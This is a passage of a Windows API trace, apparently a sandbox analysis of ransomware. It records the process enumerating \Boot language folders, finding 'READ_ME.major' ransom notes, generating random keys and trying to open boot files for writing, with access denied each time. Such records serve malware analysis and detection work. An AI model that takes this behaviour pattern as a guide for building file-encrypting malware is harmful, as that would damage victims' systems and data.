0x2e405d0 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0142.750] FindNextFileW (in: hFindFile=0x5b58f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0142.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.750] GetLastError () returned 0x5 [0142.750] SetLastError (dwErrCode=0x5) [0142.750] GetLastError () returned 0x5 [0142.751] SetLastError (dwErrCode=0x5) [0142.751] GetLastError () returned 0x5 [0142.751] SetLastError (dwErrCode=0x5) [0142.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0142.751] FindNextFileW (in: hFindFile=0x5b58f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0142.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0142.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.751] GetLastError () returned 0x5 [0142.751] SetLastError (dwErrCode=0x5) [0142.751] GetLastError () returned 0x5 [0142.751] SetLastError (dwErrCode=0x5) [0142.751] GetLastError () returned 0x5 [0142.751] SetLastError (dwErrCode=0x5) [0142.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0142.751] FindNextFileW (in: hFindFile=0x5b58f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0142.751] GetLastError () returned 0x5 [0142.751] SetLastError (dwErrCode=0x5) [0142.751] GetLastError () returned 0x5 [0142.751] SetLastError (dwErrCode=0x5) [0142.751] GetLastError () returned 0x5 [0142.751] SetLastError (dwErrCode=0x5) [0142.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0142.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0142.751] FindNextFileW (in: hFindFile=0x5b58f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0142.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.752] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.752] SetFileAttributesW (lpFileName="\\Boot\\es-ES\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0142.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0142.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0142.752] CreateFileW (lpFileName="\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0142.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0142.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0142.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0142.752] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.752] SetFileAttributesW (lpFileName="\\Boot\\es-ES\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0142.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0142.752] CreateFileW (lpFileName="\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0142.753] FindFirstFileW (in: lpFileName="\\Boot\\es-MX\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5930 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0142.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0142.753] GetLastError () returned 0x5 [0142.753] SetLastError (dwErrCode=0x5) [0142.753] GetLastError () returned 0x5 [0142.753] SetLastError (dwErrCode=0x5) [0142.753] GetLastError () returned 0x5 [0142.753] SetLastError (dwErrCode=0x5) [0142.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0142.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0142.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0142.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60e9e8 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e9e8 | out: hHeap=0x570000) returned 1 [0142.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0142.753] FindNextFileW (in: hFindFile=0x5b5930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0142.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.754] GetLastError () returned 0x5 [0142.754] SetLastError (dwErrCode=0x5) [0142.754] GetLastError () returned 0x5 [0142.754] SetLastError (dwErrCode=0x5) [0142.754] GetLastError () returned 0x5 [0142.754] SetLastError (dwErrCode=0x5) [0142.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0142.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0142.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f0a8 [0142.754] FindNextFileW (in: hFindFile=0x5b5930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.754] SetLastError (dwErrCode=0x5) [0142.754] GetLastError () returned 0x5 [0142.754] SetLastError (dwErrCode=0x5) [0142.754] GetLastError () returned 0x5 [0142.754] SetLastError (dwErrCode=0x5) [0142.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0142.754] FindNextFileW (in: hFindFile=0x5b5930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.754] SetLastError (dwErrCode=0x5) [0142.754] GetLastError () returned 0x5 [0142.754] SetLastError (dwErrCode=0x5) [0142.754] GetLastError () returned 0x5 [0142.754] SetLastError (dwErrCode=0x5) [0142.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0142.755] FindNextFileW (in: hFindFile=0x5b5930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0142.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0142.755] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.755] SetFileAttributesW (lpFileName="\\Boot\\es-MX\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0142.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.755] CreateFileW (lpFileName="\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.755] FindFirstFileW (in: lpFileName="\\Boot\\et-EE\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f828 [0142.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0142.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.755] GetLastError () returned 0x5 [0142.755] SetLastError (dwErrCode=0x5) [0142.755] GetLastError () returned 0x5 [0142.755] SetLastError (dwErrCode=0x5) [0142.755] GetLastError () returned 0x5 [0142.755] SetLastError (dwErrCode=0x5) [0142.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0142.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0142.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f6e8 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f6e8 | out: hHeap=0x570000) returned 1 [0142.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0142.756] FindNextFileW (in: hFindFile=0x60f828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0142.756] GetLastError () returned 0x5 [0142.756] SetLastError (dwErrCode=0x5) [0142.756] GetLastError () returned 0x5 [0142.756] SetLastError (dwErrCode=0x5) [0142.756] GetLastError () returned 0x5 [0142.756] SetLastError (dwErrCode=0x5) [0142.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0142.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0142.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0142.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f428 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f428 | out: hHeap=0x570000) returned 1 [0142.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0142.756] FindNextFileW (in: hFindFile=0x60f828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.756] GetLastError () returned 0x5 [0142.757] SetLastError (dwErrCode=0x5) [0142.757] GetLastError () returned 0x5 [0142.757] SetLastError (dwErrCode=0x5) [0142.757] GetLastError () returned 0x5 [0142.757] SetLastError (dwErrCode=0x5) [0142.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0142.757] FindNextFileW (in: hFindFile=0x60f828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.757] GetLastError () returned 0x5 [0142.757] SetLastError (dwErrCode=0x5) [0142.757] GetLastError () returned 0x5 [0142.757] SetLastError (dwErrCode=0x5) [0142.757] GetLastError () returned 0x5 [0142.757] SetLastError (dwErrCode=0x5) [0142.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0142.757] FindNextFileW (in: hFindFile=0x60f828, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.757] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.757] SetFileAttributesW (lpFileName="\\Boot\\et-EE\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0142.757] CreateFileW (lpFileName="\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0142.758] FindFirstFileW (in: lpFileName="\\Boot\\fi-FI\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f1a8 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0142.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0142.758] GetLastError () returned 0x5 [0142.758] SetLastError (dwErrCode=0x5) [0142.758] GetLastError () returned 0x5 [0142.758] SetLastError (dwErrCode=0x5) [0142.758] GetLastError () returned 0x5 [0142.758] SetLastError (dwErrCode=0x5) [0142.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0142.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0142.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f668 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f668 | out: hHeap=0x570000) returned 1 [0142.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0142.758] FindNextFileW (in: hFindFile=0x60f1a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0142.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.759] GetLastError () returned 0x5 [0142.759] SetLastError (dwErrCode=0x5) [0142.759] GetLastError () returned 0x5 [0142.759] SetLastError (dwErrCode=0x5) [0142.759] GetLastError () returned 0x5 [0142.759] SetLastError (dwErrCode=0x5) [0142.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef20 [0142.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0142.759] HeapFree 